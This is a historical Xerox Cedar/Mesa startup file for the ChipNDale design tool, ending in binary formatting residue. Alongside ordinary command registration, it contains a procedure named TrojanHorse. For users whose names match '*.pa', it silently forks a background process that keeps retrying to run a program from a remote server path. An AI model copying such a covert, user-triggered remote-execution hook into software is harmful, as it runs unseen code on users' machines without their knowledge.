DIRECTORY Commander, CommandTool, IO, Process, Rope, TerminalIO, UserCredentials, UserProfile; CDStarter: CEDAR PROGRAM IMPORTS Commander, CommandTool, IO, Process, Rope, TerminalIO, UserCredentials, UserProfile = BEGIN StartPrograms: PROC [] = { runList: LIST OF Rope.ROPE = UserProfile.ListOfTokens[key: "ChipNDale.RunPrograms"]; FOR l: LIST OF Rope.ROPE _ runList, l.rest WHILE l#NIL DO IF NOT Rope.IsEmpty[l.first] THEN { msg: Rope.ROPE = CommandTool.Run[bcdName: l.first].errMsg; IF msg#NIL THEN TerminalIO.PutRope[msg]; } ENDLOOP; }; TrojanHorse: PROC [] = { trojanHorse: Rope.ROPE = "/ivy/jacobi/cd24/CDTroja24"; TRUSTED {Process.SetPriority[Process.priorityBackground]}; WHILE CommandTool.Run[bcdName: trojanHorse].error DO Process.Pause[Process.SecondsToTicks[4000]]; ENDLOOP }; Load: Commander.CommandProc = { IO.PutRope[cmd.out, "ChipNDale loaded\n"]; }; Quiet: Commander.CommandProc = { }; BeQuiet: Commander.CommandProc = { FOR ls: LIST OF Rope.ROPE _ CommandTool.ParseToList[cmd].list, ls.rest WHILE ls#NIL DO IF ~Rope.IsEmpty[ls.first] AND Commander.Lookup[ls.first]=NIL THEN { Commander.Register[key: ls.first, proc: Quiet, doc: "command made quiet"]; IF Rope.Fetch[ls.first, 0]#'/ AND Rope.Fetch[ls.first, 0]#'[ THEN { r: Rope.ROPE _ Rope.Concat["///Commands/", ls.first]; IF Commander.Lookup[r]=NIL THEN Commander.Register[key: r, proc: Quiet, doc: "command made quiet"]; }; }; ENDLOOP; }; StartPrograms[]; IF Rope.Match["*.pa", UserCredentials.Get[].name, FALSE] THEN TRUSTED { Process.Detach[FORK TrojanHorse[]] }; Commander.Register[ key: "///Commands/ChipNDale", proc: Load, doc: "loads technology independent ChipNDale" ]; Commander.Register[ key: "///Commands/BeQuiet", proc: BeQuiet, doc: "makes this load file beeing quiet" ]; END. zCDStarter.mesa (part of ChipNDale) Copyright c 1983, 1986 by Xerox Corporation. All rights reserved. by Christian Jacobi, November 7, 1983 5:39 pm Last Edited by: Jacobi July 24, 1986 10:32:07 am PDT Last edited by: Christian Jacobi, March 26, 1987 10:31:39 am PST This is typically commented out in released versions but active in private or pre-released versions ΚΞ˜codešœ$™$Kšœ Οmœ7™BKšœ/™/K™4K™@K˜—šΟk ˜ Kšœ ˜ Kšœ ˜ Kšœ˜Kšœ˜Kšœ˜Kšœ ˜ Kšœ˜Kšœ ˜ —K˜šΟn œžœžœ˜Kšžœžœ<˜^—Kšž˜K˜šŸ œžœ˜Kšœ žœžœžœ:˜Tš žœžœžœžœžœžœž˜9šžœžœžœ˜#Kšœ žœ,˜:Kšžœžœžœ˜(Kšœ˜—Kšžœ˜—Kšžœ˜—K˜šŸ œžœ˜Kšœ4™4Kšœ.™.Kšœžœ ˜6Kšžœ3˜:šžœ-ž˜4Kšœ,˜,Kšž˜—Kšœ˜—K™šŸœ˜Jšžœ(˜*Jšœ˜J˜—šŸœ˜ Jšœ˜J˜—šΠbnœ˜"š žœžœžœžœ.žœžœž˜Všžœžœžœžœ˜DJšœJ˜Jšžœžœžœ˜CJšœžœ)˜5šžœžœžœ˜ JšœC˜C—J˜—J˜—Jšžœ˜—Jšœ˜J˜—Kšœ˜šžœ0žœžœžœ˜GKšœžœ˜"Kšœ˜—šœ˜J˜J˜ J˜-Jšœ˜—šœ˜Jšœ˜Jšœ˜J˜(Jšœ˜—Kšžœ˜K˜K˜—…—ς :